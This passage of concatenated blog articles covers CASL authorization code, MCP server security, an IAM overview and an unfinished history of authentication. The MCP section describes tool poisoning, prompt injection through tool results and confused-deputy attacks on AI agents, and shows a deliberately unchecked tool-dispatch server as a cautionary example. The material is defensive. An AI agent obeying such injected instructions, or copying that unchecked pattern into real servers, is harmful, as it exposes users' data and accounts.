export function buildWhereClause(ability: AppAbility) {
  const rules = ability.rulesFor('read', 'Post');
  const conditions = rules
    .filter(r => !r.inverted && r.conditions)
    .map(r => r.conditions);

  if (conditions.length === 0) return {};  // no restrictions
  return { OR: conditions };               // Prisma-style
}

Frontend enforcement — React integration

On the React frontend, CASL provides the @casl/react package with an Ability context and a Can component that hides or shows UI elements based on the same ability rules:

// Install: npm install @casl/ability @casl/react

// providers/AbilityProvider.tsx — share ability across the app
import { createContext, useContext } from 'react';
import { createMongoAbility } from '@casl/ability';
import { AppAbility, defineAbilityFor } from '../casl/ability';
import { useAuth } from './AuthProvider';

const AbilityContext = createContext<AppAbility>(createMongoAbility([]));
export const useAbility = () => useContext(AbilityContext);

export function AbilityProvider({ children }: { children: React.ReactNode }) {
  const { user } = useAuth();
  const ability = user ? defineAbilityFor(user) : createMongoAbility([]);
  return <AbilityContext.Provider value={ability}>{children}</AbilityContext.Provider>;
}

// components/PostActions.tsx — UI driven by the same ability rules
import { Can } from '@casl/react';
import { subject } from '@casl/ability';
import { useAbility } from '../providers/AbilityProvider';

export function PostActions({ post }: { post: Post }) {
  const ability = useAbility();

  return (
    <div>
      {/* Can component evaluates the same conditions as the backend */}
      <Can I='update' this={subject('Post', post)} ability={ability}>
        <EditButton postId={post.id} />
      </Can>

      <Can I='publish' this={subject('Post', post)} ability={ability}>
        <PublishButton postId={post.id} />
      </Can>

      <Can I='delete' this={subject('Post', post)} ability={ability}>
        <DeleteButton postId={post.id} />
      </Can>
    </div>
  );
}

The Can component uses the same subject instance and the same conditions as the backend check. If an author can only update their own posts (authorId === user.id), the Edit button only appears on their own posts — without any custom prop drilling or duplicated logic.

Serializable rules — abilities in JWT tokens

CASL rules are plain JSON objects, which means they can be serialized into a JWT token at login time and deserialized on the frontend without a round-trip to the server. This pattern is particularly useful in systems where the ability does not change between requests:

// auth/login.ts — serialize ability rules into the JWT
import { packRules } from '@casl/ability/extra';
import { defineAbilityFor } from '../casl/ability';
import jwt from 'jsonwebtoken';

app.post('/auth/login', async (req, res) => {
  const user = await validateCredentials(req.body);
  const ability = defineAbilityFor(user);

  // Pack rules into a compact format for JWT storage
  const rules = packRules(ability.rules);

  const token = jwt.sign(
    { sub: user.id, role: user.role, rules },
    process.env.JWT_SECRET!,
    { expiresIn: '1h' }
  );

  res.json({ token });
});

// frontend/casl/fromToken.ts — restore ability from JWT on the client
import { unpackRules } from '@casl/ability/extra';
import { createMongoAbility } from '@casl/ability';

export function abilityFromToken(token: string): AppAbility {
  const payload = JSON.parse(atob(token.split('.')[1]));
  return createMongoAbility(unpackRules(payload.rules));
}

// No extra API call needed — the ability is embedded in the token.
// Update the token on role change; no separate permissions endpoint required.

Field-level restrictions

CASL supports per-field rules that restrict which properties of a subject a user can read or modify. This is useful for scenarios like: users can update their profile, but cannot change their role or verified status:

// In ability definition:
can('update', 'User', ['name', 'bio', 'avatar'], { id: user.id });
cannot('update', 'User', ['role', 'verified', 'email']);

// In the route — check which fields are being changed:
import { permittedFieldsOf } from '@casl/ability/extra';

app.patch('/users/:id', loadAbility, async (req, res) => {
  const userToUpdate = await db.users.findById(req.params.id);

  // Get the fields this user is allowed to update
  const allowedFields = permittedFieldsOf(
    req.ability, 'update',
    subject('User', userToUpdate),
    { fieldsFrom: rule => rule.fields ?? [] }
  );

  // Strip any fields the user is not allowed to change
  const safeUpdate = Object.fromEntries(
    Object.entries(req.body).filter(([key]) => allowedFields.includes(key))
  );

  await db.users.update({ id: req.params.id }, safeUpdate);
  res.json({ ok: true });
});

Where CASL fits in the authorization stack

CASL is not a replacement for the authorization models covered in this series — it is an implementation library that can express most of them. RBAC maps directly to ability definitions per role. ABAC maps to conditions in can() rules. ReBAC requires additional relationship resolution before building the ability, but the enforcement layer is still CASL.

The key distinction: CASL is an in-process library. It runs inside your application and evaluates rules against in-memory objects. It does not provide a centralized authorization service, a policy store, or a network API. For systems that need externalized authorization — where multiple services query a shared policy engine — tools like OpenFGA, Casbin, or OPA are the right choice. For full-stack TypeScript applications that want to share authorization logic between frontend and backend without an external service, CASL is uniquely well-suited.

Summary

• Isomorphic — the same Ability definition runs on the backend, the React frontend, and the database query layer
• Incrementally adoptable — start with simple role checks, add conditions and field restrictions as your application grows
• MongoDB-style conditions — attribute-based rules expressed as familiar query predicates
• Field-level restrictions — restrict which properties of a subject a user can read or modify
• Serializable rules — ability rules are plain JSON, embeddable in JWTs for stateless frontend authorization
• Type-safe — written in TypeScript with full generic support for actions, subjects, and conditions

—

Authorization bugs are rarely about missing checks. They are about checks that exist in one place but not another — a backend rule without a matching frontend guard, a UI that hides a button but does not protect the API behind it, a query that fetches data the current user should not see. CASL does not just make authorization easier to write. It makes it structurally harder to get wrong by ensuring that writing the rule once is sufficient.

MCP arrived fast. Authorization arrived late.

Anthropic released the Model Context Protocol in late 2024. Within months, it had become the de facto standard for connecting AI agents to external tools and services. By mid-2025, there were over 13,000 MCP servers deployed on GitHub alone. Major platforms — Cloudflare, Hugging Face, Auth0, GitHub, VS Code — had shipped official MCP integrations. Developers were building agents that could read files, post to APIs, query databases, and send messages, all through a standardized protocol that any LLM could speak.

The problem is that MCP was designed as a connectivity protocol first. Security was addressed in the spec, but in practice, the vast majority of implementations shipped without real authorization. A Trend Micro scan in July 2025 found 492 confirmed MCP server instances running without any basic security controls — no client authentication, no traffic encryption. Backslash Security found hundreds of servers configured to bind to 0.0.0.0, exposing them to any host on the network. Researchers called it NeighborJack.

The consequence was predictable and documented. CVE-2025–6514, CVE-2025–49596, CVE-2025–53110, CVE-2025–53109 — a list of critical vulnerabilities, most of them rooted in the same cause: MCP servers acting on behalf of users without verifying whether those users had authorized the specific action being taken.

What MCP actually is — and what it is not

The Model Context Protocol is a standardized interface for AI agents to discover and invoke tools. An MCP server exposes a set of named tools with typed parameters. An agent — typically an LLM-based system — discovers those tools, selects one based on its reasoning, and calls it with arguments. The server executes the action and returns a result.

This is a powerful abstraction. It means any agent can work with any MCP-compatible service without custom integration code. A code review agent can use the GitHub MCP server. A document processing agent can use the filesystem MCP server. An analytics agent can use a database MCP server. The interface is universal.

What MCP is not — and was never designed to be — is an authorization framework. The protocol defines how tools are invoked. It does not define who is allowed to invoke which tools, under what conditions, with what scope, or on behalf of which principal. That layer was left to implementors. Most implementors skipped it.

The three failure modes in real deployments

1. Authentication without authorization

The most common pattern in early MCP deployments was: require a token to connect, then grant full access to all tools once connected. Authentication — verifying identity — was present. Authorization — deciding what that identity can do — was not.

This is what security researchers called the binary access model. A valid token gets you everything. There is no concept of tool-level permissions, no scope enforcement, no per-resource access control. An agent authenticated to a filesystem MCP server could read, write, or delete any file the server had access to — not just the files relevant to the current task.

// The pattern that shipped in thousands of MCP servers
app.post('/mcp', async (req, res) => {
  // Step 1: verify the token (authentication)
  const token = req.headers.authorization?.slice(7);
  const user  = await verifyToken(token);
  if (!user) return res.status(401).json({ error: 'Unauthorized' });

  // Step 2: execute whatever tool was requested (no authorization check)
  const { tool, args } = req.body;
  const result = await tools[tool]?.(args);  // full access, no scope check
  res.json({ result });
});

// If the agent is compromised, every tool is immediately accessible.
// If a prompt injection tricks the agent into calling the wrong tool,
// there is nothing to stop it.

2. No tool-level scoping

The June 2025 MCP spec update formally classified MCP servers as OAuth Resource Servers and required the use of Resource Indicators (RFC 8707) to scope tokens to specific servers. But this addressed token replay across servers — it did not address which tools within a server a given token should be allowed to call.

Without tool-level scoping, authorization is coarse: authenticated means authorized. An agent with a valid token for a GitHub MCP server can not only list pull requests, it can also delete repositories, modify branch protections, and add collaborators — if the server exposes those tools and the token has sufficient GitHub permissions. The MCP layer adds zero restriction on top of what the underlying API allows.

3. Confused deputy at scale

The most dangerous failure mode is what Adversa AI documented as CVE-2025–49596 (CVSS 9.4): MCP servers acting on behalf of users without properly verifying which user authorized which action. An MCP server holding OAuth tokens for multiple users could be tricked into using one user’s credentials to perform an action on behalf of another user. Classic confused deputy — the server has authority it did not earn from the specific user making the current request.

In a multi-tenant MCP deployment, this means a compromised agent or a malicious tool call could escalate from one user’s permissions to another’s, without ever breaking the outer authentication layer. The outer layer says “you are authenticated.” The inner layer never asks “are you authorized to use this user’s credentials for this action?”

The attack surface: what researchers found

By mid-2025, the MCP security landscape had produced a documented set of attack vectors that all trace back to missing authorization:

• Tool poisoning: malicious tool descriptions containing hidden instructions that redirect the agent’s actions. Without authorization checks at the tool-call layer, the agent executes whatever the tool description tells it to, including actions the user never requested
• Prompt injection via tool results: a tool returns content containing injected instructions. The agent, treating the result as trusted context, follows them. Without scope enforcement, the injected instructions can invoke any tool the server exposes
• NeighborJack: servers bound to 0.0.0.0 exposed to the network without authentication. Any host on the same network can invoke tools with no credentials at all
• CVE-2025–6514: mcp-remote passed server-provided OAuth metadata directly to the system shell, executing arbitrary commands on 437,000 developer machines. The root cause was trusting server-provided authorization endpoints without validation
• EchoLeak: a zero-click vulnerability in Microsoft 365 Copilot where prompt injection through MCP tool results triggered data exfiltration without user interaction

What correct MCP authorization looks like

The MCP Authorization Specification (2025–11–25) and the June 2025 spec update established the baseline for secure MCP deployments. The spec is clear: OAuth 2.1 with PKCE is mandatory for all HTTP-based transports. Protected Resource Metadata (RFC 9728) enables clients to discover authorization requirements. Resource Indicators (RFC 8707) scope tokens to specific servers.

But the spec establishes authentication and token mechanics. Authorization — who can call which tool — still requires implementation. Here is what a secure MCP server must add on top of OAuth:

Step 1: Protected Resource Metadata discovery

// mcp/discovery.ts — RFC 9728 protected resource metadata
// Every MCP server MUST expose this exact path
app.get('/.well-known/oauth-protected-resource', (_req, res) => {
  res.json({
    resource:                    process.env.MCP_SERVER_URL,
    authorization_servers:       [process.env.AUTH_SERVER_URL],
    bearer_methods_supported:    ['header'],
    scopes_supported:            [
      'tools:files:read',
      'tools:files:write',
      'tools:git:read',
      'tools:git:write',
      'tools:db:query',
    ],
  });
});

// Clients use this to discover which authorization server to use
// and which scopes are required before requesting a token.
// Without this, clients blindly trust whatever the server advertises —
// the root cause of CVE-2025-6514.

Step 2: Token validation with audience and scope

// mcp/auth.ts — validate token with audience + resource indicator
import { jwtVerify, createRemoteJWKSet } from 'jose';

const JWKS = createRemoteJWKSet(new URL(`${process.env.AUTH_SERVER_URL}/jwks`));

export async function validateToken(token: string) {
  const { payload } = await jwtVerify(token, JWKS, {
    issuer:   process.env.AUTH_SERVER_URL,
    audience: process.env.MCP_SERVER_URL,  // RFC 8707: token must target THIS server
  });

  if (!payload.sub)    throw new Error('Missing subject claim');
  if (!payload.scope)  throw new Error('Missing scope claim');

  return {
    userId: payload.sub as string,
    scopes: (payload.scope as string).split(' '),
  };
}

// Audience validation prevents token replay attacks:
// a token issued for server-A cannot be used against server-B.
// This is what the June 2025 spec update mandated.

Step 3: Tool-level authorization

This is the layer the spec describes but does not implement: each tool call must be checked against the scopes in the token AND the calling agent’s delegation chain. OAuth decides who gets in. ReBAC/ABAC decides what they can touch.

// mcp/gateway.ts — authorization at every tool invocation
import { validateToken } from './auth';
import { checkAgentAccess } from '../agent-auth/checker';

// Tool → required scope mapping
const TOOL_SCOPES: Record<string, string> = {
  'read_file':        'tools:files:read',
  'write_file':       'tools:files:write',
  'list_repos':       'tools:git:read',
  'create_pr':        'tools:git:write',
  'delete_repo':      'tools:git:admin',   // elevated — rarely granted
  'query_database':   'tools:db:query',
};

export async function handleToolCall(
  req: Request,
  res: Response
) {
  // 1. Validate token
  const token = req.headers.authorization?.slice(7);
  if (!token) return res.status(401).json({ error: 'No token' });

  let userId: string;
  let scopes: string[];
  try {
    ({ userId, scopes } = await validateToken(token));
  } catch {
    return res.status(401).json({ error: 'Invalid token' });
  }

  const { tool, args, agentId } = req.body;

  // 2. Check: does the token have the required scope for this tool?
  const required = TOOL_SCOPES[tool];
  if (!required || !scopes.includes(required)) {
    auditLog('TOOL_DENIED_SCOPE', { userId, agentId, tool, required, scopes });
    return res.status(403).json({ error: `Scope '${required}' required for tool '${tool}'` });
  }

  // 3. If an agent is acting on behalf of a user, verify the delegation chain
  if (agentId) {
    const { allowed, chain } = await checkAgentAccess(agentId, args.resourceId, tool);
    if (!allowed) {
      auditLog('TOOL_DENIED_DELEGATION', { userId, agentId, tool, chain });
      return res.status(403).json({ error: 'Delegation chain invalid', chain });
    }
  }

  // 4. Execute — only after both checks pass
  auditLog('TOOL_GRANTED', { userId, agentId, tool });
  const result = await executeTool(tool, args, userId);
  res.json({ result });
}

Step 4: Dynamic Client Registration for agent deployments

In enterprise deployments with many agents, static client credentials become unmanageable. Dynamic Client Registration (RFC 7591) allows agent instances to register themselves with the authorization server at runtime, receive scoped credentials, and have those credentials revoked when the agent is decommissioned — without any manual IAM operation.

// mcp/dcr.ts — register an agent instance at deploy time
export async function registerAgent(agentMeta: {
  name:        string;
  version:     string;
  allowedTools: string[];
}) {
  const response = await fetch(`${process.env.AUTH_SERVER_URL}/register`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      client_name:   agentMeta.name,
      grant_types:   ['authorization_code'],
      // Scopes locked to what this agent instance actually needs
      scope: agentMeta.allowedTools.map(t => TOOL_SCOPES[t]).join(' '),
      // Short-lived client credentials
      token_endpoint_auth_method: 'none',  // public client — use PKCE
    }),
  });

  const { client_id } = await response.json();

  auditLog('AGENT_REGISTERED', {
    clientId: client_id,
    agent:    agentMeta.name,
    scopes:   agentMeta.allowedTools,
  });

  return client_id;
}

// On decommission: revoke the client registration
export async function deregisterAgent(clientId: string) {
  await fetch(`${process.env.AUTH_SERVER_URL}/register/${clientId}`, {
    method: 'DELETE',
    headers: { Authorization: `Bearer ${await getAdminToken()}` },
  });
  auditLog('AGENT_DEREGISTERED', { clientId });
}

The minimum viable security checklist

Based on the 2025–11–25 MCP Authorization Specification and the documented attack surface, any MCP server handling sensitive data or actions in an enterprise context must implement:

• OAuth 2.1 with PKCE — Authorization Code flow, no implicit grant, no ROPC. Mandatory for all HTTP transports per the MCP spec
• Protected Resource Metadata (RFC 9728) — expose /.well-known/oauth-protected-resource so clients can discover the correct authorization server rather than trusting server-provided endpoints
• Resource Indicators (RFC 8707) — tokens must be audience-scoped to the specific MCP server to prevent cross-server replay
• Tool-level scope enforcement — each tool maps to a required scope; a token without that scope cannot call that tool regardless of authentication status
• Delegation chain verification — if an agent is acting on behalf of a user, the chain must be verified back to a human principal who authorized the specific tool and resource
• Audit logging at every tool call — granted, denied, and the full context (userId, agentId, tool, scope, timestamp) for every invocation

Summary

MCP’s rapid adoption exposed a gap that is common in new infrastructure: the protocol was defined before the security model that should govern it was fully developed. The result was thousands of MCP servers in production with authentication but no authorization — a configuration that looks secure from the outside and is trivially exploitable from within.

The 2025–11–25 specification and the June 2025 updates moved the baseline significantly. OAuth 2.1, Protected Resource Metadata, and Resource Indicators are now mandatory, not optional. But the spec establishes authentication and token mechanics. Authorization — which agent can call which tool, on which resource, under which delegation — still requires deliberate implementation by every team that ships an MCP server.

Authentication answers: who are you? Authorization answers: what are you allowed to do? MCP adoption shipped the first answer by default. The second answer is the one that determines your blast radius when something goes wrong.

—

Every tool an MCP server exposes is a capability an attacker wants. Authentication tells you who is knocking. Authorization is what decides which doors they can open — and whether the doors that should stay closed actually do.

What is IAM?

Identity and Access Management (IAM) is the discipline that ensures the right individuals have access to the right resources at the right times for the right reasons. It encompasses every process, policy, and technology involved in managing digital identities — from the moment a user account is created, through every login and permission check, to the moment the account is deactivated.

IAM is not a single product or protocol. It is an umbrella framework composed of four interconnected domains: Identity Governance and Administration (IGA), Access Management (AM), Privileged Access Management (PAM), and Directory Services. Together, they form the identity security fabric that underlies every application, API, and infrastructure component in an organization.

According to Verizon’s 2024 Data Breach Investigations Report, 68% of breaches involved a human element, and credential-based attacks grew 71% year-over-year. IAM is the primary defense against this class of threat — and increasingly, the foundation of Zero Trust architecture.

The four pillars of IAM

1. Identity Governance and Administration (IGA)

IGA is the policy layer of IAM. It defines who should have access to what, enforces those policies through automated workflows, and provides the audit trail that satisfies compliance requirements.

• Identity lifecycle management: automated provisioning when users join, access changes when roles change, and deprovisioning when users leave
• Access certifications: periodic reviews where managers confirm or revoke access entitlements — essential for SOX, HIPAA, and ISO 27001 compliance
• Segregation of Duties (SoD): preventing a single user from holding conflicting permissions (e.g., the same person who requests a payment cannot also approve it)
• Role mining and access analytics: detecting overprivileged accounts and access creep — the gradual accumulation of permissions beyond what a user actually needs

2. Access Management (AM)

Access Management is the enforcement layer — the technology that verifies identities and makes real-time access decisions. It covers authentication, authorization, and federation across all applications and APIs.

• Single Sign-On (SSO): authenticate once, access everything — reducing password fatigue and the attack surface of per-application credentials
• Multi-Factor Authentication (MFA): layered verification using something you know, something you have, and something you are
• Adaptive authentication: risk-based decisions that adjust verification requirements based on user behavior, device posture, location, and threat signals
• Federation: cross-domain identity using SAML, OAuth 2.0, and OIDC, enabling users to authenticate with an external Identity Provider and access your application without a local account

3. Privileged Access Management (PAM)

PAM is a specialized subset of IAM focused on the highest-risk accounts in any system: administrators, root users, service accounts, and anyone with elevated access to critical infrastructure. A compromised privileged account is a full breach.

• Just-in-time (JIT) access: grant elevated permissions only when needed, for only as long as needed, then revoke automatically
• Credential vaulting: store privileged credentials in a secure vault so administrators never see raw passwords — they check out sessions, not secrets
• Session recording: every privileged session is recorded and auditable, providing forensic capability after an incident
• Least privilege enforcement: no standing admin access — all elevation is temporary, logged, and requires justification

4. Directory Services

The directory is the source of truth for all identity data. It stores user attributes, group memberships, device records, and the relationships between them. Every authentication and authorization decision ultimately reads from the directory.

• Active Directory (AD): the dominant on-premises directory, widely used in enterprise environments, federating identity to thousands of applications via LDAP and Kerberos
• Cloud identity providers: Azure Entra ID, Okta Universal Directory, and Google Workspace act as cloud-native directories with SCIM sync for automated provisioning
• SCIM (System for Cross-domain Identity Management): the standard protocol for synchronizing identity data between a directory and downstream applications

The identity lifecycle in code

IAM is not just a platform decision — it is also an architecture decision for every application you build. Here is how the four pillars map to a typical Node.js API:

// iam/lifecycle.ts — modeling the identity lifecycle
export type IdentityState =
  | 'pending'      // account created, awaiting approval
  | 'active'       // fully provisioned, access granted
  | 'suspended'    // temporarily locked (security event, leave of absence)
  | 'deprovisioned'; // offboarded, all access revoked

export interface Identity {
  id:           string;
  email:        string;
  state:        IdentityState;
  roles:        string[];
  permissions:  string[];
  department:   string;
  mfaEnabled:   boolean;
  lastLogin?:   Date;
  createdAt:    Date;
  updatedAt:    Date;
}

// Provisioning: called when HR system creates a new employee
export async function provision(identity: Omit<Identity, 'id' | 'createdAt' | 'updatedAt'>) {
  const user = await db.identities.create({
    data: { ...identity, state: 'pending', createdAt: new Date(), updatedAt: new Date() }
  });
  await notifyApprover(user);   // IGA: route to manager for access review
  await auditLog('PROVISIONED', user.id);
  return user;
}

// Deprovisioning: called when HR system marks employee as departed
export async function deprovision(userId: string) {
  await db.identities.update({
    where: { id: userId },
    data:  { state: 'deprovisioned', roles: [], permissions: [], updatedAt: new Date() }
  });
  await revokeAllSessions(userId);      // AM: terminate active sessions
  await revokeAllTokens(userId);        // AM: invalidate all access tokens
  await notifyDownstreamApps(userId);   // SCIM: deprovision from SaaS apps
  await auditLog('DEPROVISIONED', userId);
}

Authentication and authorization middleware

The access management layer enforces identity at the API boundary. Authentication verifies who is making the request; authorization decides what they are allowed to do:

// iam/middleware.ts — the AM enforcement layer
import { jwtVerify, createRemoteJWKSet } from 'jose';
import { Request, Response, NextFunction } from 'express';

// Step 1: Authentication — verify the token from your IdP (Okta, Auth0, etc.)
const JWKS = createRemoteJWKSet(new URL(process.env.JWKS_URI!));

export async function authenticate(req: Request, res: Response, next: NextFunction) {
  const token = req.headers.authorization?.slice(7);
  if (!token) return res.status(401).json({ error: 'Authentication required' });

  try {
    const { payload } = await jwtVerify(token, JWKS, {
      issuer:   process.env.ISSUER,
      audience: process.env.AUDIENCE,
    });
    req.identity = payload;
    next();
  } catch {
    res.status(401).json({ error: 'Invalid or expired token' });
  }
}

// Step 2: Authorization — enforce permissions (RBAC/ABAC)
export function authorize(permission: string) {
  return (req: Request, res: Response, next: NextFunction) => {
    const permissions = (req.identity?.permissions as string[]) ?? [];
    if (!permissions.includes(permission)) {
      auditLog('ACCESS_DENIED', req.identity?.sub, permission, req.path);
      return res.status(403).json({ error: 'Insufficient permissions' });
    }
    auditLog('ACCESS_GRANTED', req.identity?.sub, permission, req.path);
    next();
  };
}

// Usage: authentication + authorization + audit trail on every route
app.get('/api/financials', authenticate, authorize('read:financials'),
  async (req, res) => res.json(await getFinancials())
);

Privileged access: just-in-time elevation

Standard users should never hold standing admin privileges. PAM enforces this by making all elevation temporary, auditable, and request-based:

// iam/pam.ts — just-in-time privileged access
interface PrivilegedSession {
  userId:     string;
  resource:   string;
  permission: string;
  justification: string;
  expiresAt:  Date;
  sessionId:  string;
}

export async function requestElevation(
  userId: string,
  resource: string,
  permission: string,
  justification: string,
  durationMinutes: number
): Promise<PrivilegedSession> {
  // Notify approver — PAM requires explicit human approval for privileged access
  const approved = await requestApproval({ userId, resource, permission, justification });
  if (!approved) throw new Error('Elevation request denied');

  const session: PrivilegedSession = {
    userId, resource, permission, justification,
    sessionId: crypto.randomUUID(),
    expiresAt: new Date(Date.now() + durationMinutes * 60_000),
  };

  await db.privilegedSessions.create({ data: session });
  await auditLog('PRIVILEGE_GRANTED', userId, { resource, permission, durationMinutes });
  return session;
}

export async function checkPrivilegedAccess(
  userId: string,
  resource: string,
  permission: string
): Promise<boolean> {
  const session = await db.privilegedSessions.findFirst({
    where: {
      userId, resource, permission,
      expiresAt: { gt: new Date() }  // TTL check
    }
  });
  return session !== null;
}

Audit logging: the accountability layer

IAM without audit logging is incomplete. Every access decision — granted, denied, elevated, or revoked — must be recorded with enough context to reconstruct exactly what happened and why. This is the foundation of both security incident response and compliance reporting:

// iam/audit.ts — structured audit log for all IAM events
type IAMEvent =
  | 'PROVISIONED' | 'DEPROVISIONED' | 'SUSPENDED'
  | 'ACCESS_GRANTED' | 'ACCESS_DENIED'
  | 'PRIVILEGE_GRANTED' | 'PRIVILEGE_EXPIRED'
  | 'MFA_ENROLLED' | 'MFA_CHALLENGED' | 'MFA_FAILED'
  | 'TOKEN_ISSUED' | 'TOKEN_REVOKED'
  | 'ACCESS_CERT_APPROVED' | 'ACCESS_CERT_REVOKED';

interface AuditEntry {
  event:     IAMEvent;
  actorId?:  string;     // who performed the action
  targetId?: string;     // who was affected
  resource?: string;
  metadata?: Record<string, unknown>;
  timestamp: string;
  requestId: string;
}

export function auditLog(
  event: IAMEvent,
  actorId?: string,
  metadata?: Record<string, unknown>
) {
  const entry: AuditEntry = {
    event,
    actorId,
    metadata,
    timestamp: new Date().toISOString(),
    requestId: crypto.randomUUID(),
  };
  // Emit as structured JSON — ingested by SIEM (Splunk, Datadog, etc.)
  console.log(JSON.stringify(entry));
  // Persist to append-only audit store
  db.auditLogs.create({ data: entry }).catch(console.error);
}

How the IAM ecosystem fits together

IAM is not a single system — it is a stack of complementary components. In a modern architecture, these map to concrete tools and responsibilities:

• Identity Provider (IdP): Okta, Auth0, Azure Entra ID — the source of truth for authentication and identity claims
• Access Management: RBAC/ABAC policies enforced in your API middleware, or delegated to an authorization engine like OpenFGA, Casbin, or AWS IAM
• Privileged Access Management: CyberArk, HashiCorp Vault, or AWS IAM Identity Center for just-in-time elevation and credential vaulting
• IGA: SailPoint, Saviynt, or Okta Identity Governance for access certifications and lifecycle automation
• Directory: Active Directory, Azure Entra ID, or Okta Universal Directory as the canonical identity store, synchronized to all downstream applications via SCIM

Summary

IAM is the identity security fabric that underlies every access decision in your organization. Getting it right means thinking in four layers simultaneously: governing who should have access (IGA), enforcing it at runtime (AM), protecting the highest-risk accounts (PAM), and maintaining a reliable source of truth for all identity data (Directory). Each layer has its own tools, protocols, and failure modes — but they only work when they compose cleanly.

The articles in this series cover each component in depth: RBAC, ABAC, ReBAC, and NGAC for authorization models; OAuth 2.0, OIDC, JWT, and Zero Trust for authentication and access control; Auth0 and Okta for identity platform choices; and IBAC for the emerging challenge of agentic AI authorization. IAM is the discipline that brings all of them together into a coherent system.

—

Most security incidents are not failures of technology — they are failures of identity governance. An orphaned account, an over-permissioned role, an unreviewed access certification, a privileged credential stored in a spreadsheet. IAM exists to make those failures systematic and auditable rather than accidental and invisible. That is not a cybersecurity concern alone. It is an engineering responsibility.

The full working project for this article — backend, frontend, and tests — is available on GitLab:
👉 https://gitlab.com/iam-access-control/iam-identity-and-access-management

The question that started everything

Authentication is older than computers. Roman soldiers used daily watchwords to identify each other. Medieval guilds required pass-phrases to enter workshops. Secret societies had elaborate rituals to verify membership. The underlying problem has never changed: how do you prove, to a system that cannot see you, that you are who you claim to be?

For most of human history, the answer was a shared secret — something only the legitimate party would know. When computers arrived, that same answer was carried forward, almost unchanged. A word typed at a terminal. The same logic, a new medium.

What changed over sixty years was not the problem. It was the scale, the attack surface, and the stakes. Each era of authentication evolved in direct response to the failures of the one before it. This is that history.

1961 — CTSS and the birth of the password

The first computer password was born out of a practical inconvenience, not a security threat. Fernando Corbató and his colleagues at MIT were building CTSS — the Compatible Time-Sharing System — the world’s first general-purpose time-sharing operating system, demonstrated on IBM’s modified 709 mainframe in November 1961.

The problem was straightforward: multiple researchers needed to share a single expensive computer, but each needed their own private set of files. There was no network, no remote access, no adversary to speak of — just researchers who did not want their colleagues reading their work.

Corbató’s solution was elegantly simple: assign each user a unique name and a private word. When you sat down at one of the three Flexowriter terminals connected to the machine, you typed your name and your word. The system checked them against a stored list and gave you access to your files. Nobody else could read them.

It worked. But from the very beginning, the system was more fragile than it appeared. In 1962, a researcher discovered a flaw in the CTSS password file, printed out the entire list, and accidentally distributed it to other users — arguably the first password breach in computing history. The password was two years old and already broken.

The lesson was not learned immediately. Passwords became the universal default for computer authentication precisely because they required nothing but a shared secret — no hardware, no infrastructure, no protocol. They were cheap to implement and easy to understand. For the next twenty years, they were essentially the only mechanism that existed.

1970s–1980s — Passwords go mainstream and the first cracks appear

As computing spread from research institutions to universities, corporations, and eventually consumer markets, passwords scaled with it. Unix, released in 1969 and widely deployed through the 1970s, stored hashed passwords in /etc/passwd — a public file that any user could read. Security depended on the hash being computationally difficult to reverse.

Robert Morris and Ken Thompson’s 1979 paper “Password Security: A Case History” documented something alarming: many users chose passwords so common that a simple dictionary attack could break most accounts on a typical system in minutes. The attack that seemed theoretical turned out to be trivially practical. The paper recommended password aging, minimum length requirements, and user education. Most of those recommendations would be ignored for the next two decades.

The deeper problem was structural. Passwords depended on users to choose secrets that were both hard to guess and easy to remember — two properties that pull in opposite directions. The stronger the password, the harder it is to remember. The easier to remember, the weaker it tends to be. No amount of policy could fully resolve that tension.

1990s — Security questions: a second secret that was barely secret

The explosion of consumer internet in the 1990s brought millions of new users online, most of whom had never managed a password before. The result was a help desk crisis: forgotten passwords generated an enormous volume of support tickets, at significant cost to AOL, Yahoo, and the other early internet services.

The solution the industry reached for was the security question. If you forgot your password, the system would ask you something only you should know: your mother’s maiden name, the street you grew up on, your first pet. If your answer matched what you had provided at registration, the system would let you reset your password.

Security questions had one genuine advantage: they required no infrastructure. No email server, no phone number, no external system. Just another shared secret stored alongside the password hash.

The problems were fundamental and, in retrospect, obvious. The questions relied on facts that were not actually secret — many answers were publicly available in birth records, social media profiles, or through simple social engineering. A 2009 IEEE study found that acquaintances could guess 17% of security question answers on the first try. Users forgot their own answers 20% of the time within six months.

More critically, security questions reduced the effective security of an account to the weakest of two secrets. An attacker who could not crack the password could try the recovery path instead. The 2016 Yahoo breach — affecting all 3 billion accounts — exposed security questions and answers in plain text. The industry’s response was to deprecate them, but millions of systems still use them today.

2000s — Single Sign-On: one identity, many systems

As organizations began deploying dozens, then hundreds of applications, a new problem emerged: credential sprawl. Each application maintained its own user database. Each login was a separate username and password. Users maintained dozens of credentials, most of which were weak variants of the same few passwords. IT departments managed dozens of identity stores that drifted out of sync every time someone joined, changed roles, or left.

Single Sign-On (SSO) addressed this by introducing a centralized identity provider. A user authenticates once — to the IdP — and receives a credential that other applications accept without requiring a separate login. The user’s browser or client presents that credential to each application; the application verifies it with the IdP rather than checking a local password database.

The dominant enterprise protocol for SSO was SAML — Security Assertion Markup Language — standardized in 2002. SAML is XML-based and was designed for the browser-based, enterprise application context of its era. An identity provider issues a signed XML assertion containing claims about the user. The service provider verifies the signature and trusts the claims.

<!-- SAML assertion (simplified) — the IdP vouches for the user -->
<saml:Assertion>
  <saml:Issuer>https://idp.company.com</saml:Issuer>
  <saml:Subject>
    <saml:NameID>alice@company.com</saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="role">
      <saml:AttributeValue>analyst</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
  <!-- Signed with IdP's private key -->
</saml:Assertion>

SAML worked well for its context — corporate intranet, browser-based applications, controlled environments. It did not translate well to the mobile-first, API-driven, consumer-scale web that arrived a few years later.

2006–2012 — OAuth: authorization without passwords

The rise of third-party applications created a new authentication problem that passwords and SSO did not address. A Twitter client needed to post on your behalf. A calendar app needed to read your Google contacts. A photo editor needed access to your Flickr account. The only mechanism available was to give the third-party app your username and password — which gave it full, permanent, unrevocable access to your entire account.

OAuth was designed to solve this. Created in 2006 by Blaine Cook and Chris Messina, and standardized as OAuth 1.0 in 2010 and OAuth 2.0 in 2012, it introduced the concept of delegated authorization: a user could grant a third-party application limited access to their account on a service, without ever sharing their credentials.

The key innovation was the access token. Instead of receiving your password, the application receives a token — a credential that represents a specific, limited set of permissions (scopes) for a specific period of time. The user authorizes this grant explicitly, seeing exactly what permissions are being requested. Tokens can be revoked individually without affecting other applications or the user’s primary credentials.

// OAuth 2.0 Authorization Code flow
// Step 1: redirect the user to the authorization server
const authUrl = new URL('https://accounts.google.com/o/oauth2/auth');
